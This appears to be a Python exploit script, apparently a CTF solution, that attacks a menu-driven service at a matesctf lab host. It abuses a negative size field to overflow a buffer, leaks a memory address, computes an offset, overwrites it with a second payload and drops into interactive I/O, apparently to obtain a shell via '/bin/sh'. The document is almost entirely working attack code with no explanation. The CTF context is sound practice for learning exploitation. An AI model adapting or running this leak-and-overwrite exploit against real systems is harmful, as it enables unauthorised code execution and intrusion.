Created
November 29, 2015 05:29
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#!/usr/bin/python | |
# Author : peternguyen | |
from Pwn import * | |
p = Pwn(mode = 1,host='lab03.matesctf.org',port=4321) | |
# p = Pwn(mode=1) | |
def exploit(): | |
p.connect() | |
payload = 'A'*2064 + '/bin/sh;' | |
payload = payload.ljust(2167,'A') | |
# raw_input('Debug>') | |
for i in xrange(3): | |
p.read_until('>>') | |
p.write('2\n') | |
p.read_until('Choose fruit id:') | |
p.write('1\n') | |
p.read_until('>>') | |
p.write('4\n') | |
p.read_until('Size of feedback message:') | |
p.write('-1\n') | |
p.read_until('Content:') | |
p.send(payload + '\n') | |
p.read_until('>>') | |
p.write('3\n') | |
l = p.read_until('>>') | |
s = l.index('A\n') | |
addr = p.unpack(l[s + 2:s + 8].ljust(8,'\x00')) - 0xc74 - 0x5ea000 + 0x46640 | |
print hex(addr) | |
# # raw_input('Debug>') | |
payload = 'A' + p.pack(addr) + '\x00' | |
p.write('\n') | |
p.read_until('>>') | |
p.write('4\n') | |
p.read_until('Size of feedback message:') | |
p.write('-300\n') | |
p.read_until('Content:') | |
p.send(payload + '\n') | |
p.read_until('>>') | |
p.write('3\n') | |
p.io() | |
exploit() |
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